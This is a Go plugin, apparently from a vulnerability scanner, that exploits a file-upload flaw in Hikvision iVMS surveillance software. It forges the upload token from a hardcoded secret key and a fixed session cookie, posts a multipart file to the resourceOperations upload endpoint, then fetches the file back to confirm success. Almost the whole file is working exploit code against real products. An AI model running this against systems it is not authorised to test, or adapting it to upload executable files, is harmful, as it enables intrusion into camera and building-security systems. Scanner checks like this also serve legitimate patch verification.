package exploits

import (
	"crypto/md5"
	"fmt"
	"io"
	"net"
	"net/http"
	"prismx_cli/core/models"
	"prismx_cli/utils/netUtils"
	"regexp"
	"strconv"
	"strings"
	"time"
)

// init 注册插件插件
func init() {

	models.Register(models.AppVulInfo{
		App:   "Hikvision",
		Query: "app:\"Hikvision\"",
		Meta: models.VulMeta{
			Name:        "Hikvision_iVMS_resourceOperations接口文件上传",
			Tags:        []string{"File upload"},
			Author:      "一曲成殇",
			Description: "存在文件上传漏洞",
			Homepage:    "https://www.hikvision.com/",
			Level:       5,
			References:  "",
			Solution:    "根据影响版本中的信息，排查并升级到安全版本，或直接访问参考链接获取官方更新指南。",
			CreateAt:    "2024-2-04",
			Available:   false,
			Steps: models.StepsMeta{
				VerifySteps: models.VerifySteps{
					VerifyGo: func(scheme, ip string, port int, duration time.Duration) (result models.VulResult) {

						u := scheme + "://" + net.JoinHostPort(ip, strconv.Itoa(port))
						md := func(str string) string {
							m := md5.New()
							io.WriteString(m, str)
							arr := m.Sum(nil)
							return fmt.Sprintf("%x", arr)
						}

						var payload = "------WebKitFormBoundaryGEJwiloiPo\r\nContent-Disposition: form-data; name=\"fileUploader\";filename=\"1.txt\"\r\nContent-Type: image/jpeg\r\nea26cdac4990498b32d7a95ce5a5135c\r\n\r\nmBoundaryGEJwiloiPo\r\n------WebKitFormBoundaryGEJwiloiPo"
						var md5Data = strings.ToUpper(md(u + "/eps/api/resourceOperations/uploadsecretKeyIbuilding"))

						request, err := http.NewRequest("GET", u+"/eps/api/resourceOperations/upload?token="+md5Data, strings.NewReader(payload))
						if err != nil {
							result.State = false
							result.Response = err.Error()
							return
						}
						request.Header.Set("cookie", "ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9")
						request.Header.Set("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryGEJwiloiPo")

						sendHttp, err := netUtils.SendHttp(request, duration, false)
						if err != nil {
							result.State = false
							result.Response = err.Error()
							return
						}
						if sendHttp.Other.StatusCode == 200 && strings.Contains(string(sendHttp.Body), "resourceUuid") {
							var pattern = `"resourceUuid":"([^"]*)"`
							re := regexp.MustCompile(pattern)
							resourceUuid := re.FindStringSubmatch(string(sendHttp.Body))[1]

							request, err = http.NewRequest("GET", u+"/eps/upload/"+resourceUuid+".txt", nil)

							sendHttp, err = netUtils.SendHttp(request, duration, false)
							if err != nil {
								result.State = false
								result.Response = err.Error()
								return
							}
							if sendHttp.Other.StatusCode == 200 && strings.Contains(string(sendHttp.Body), "mBoundaryGEJwiloiPo") {
								result.State = true
								result.Request = sendHttp.RequestRaw
								result.Response = sendHttp.Header + string(sendHttp.Body)
							}
						}
						return
					},
				},
			},
		},
	})
}
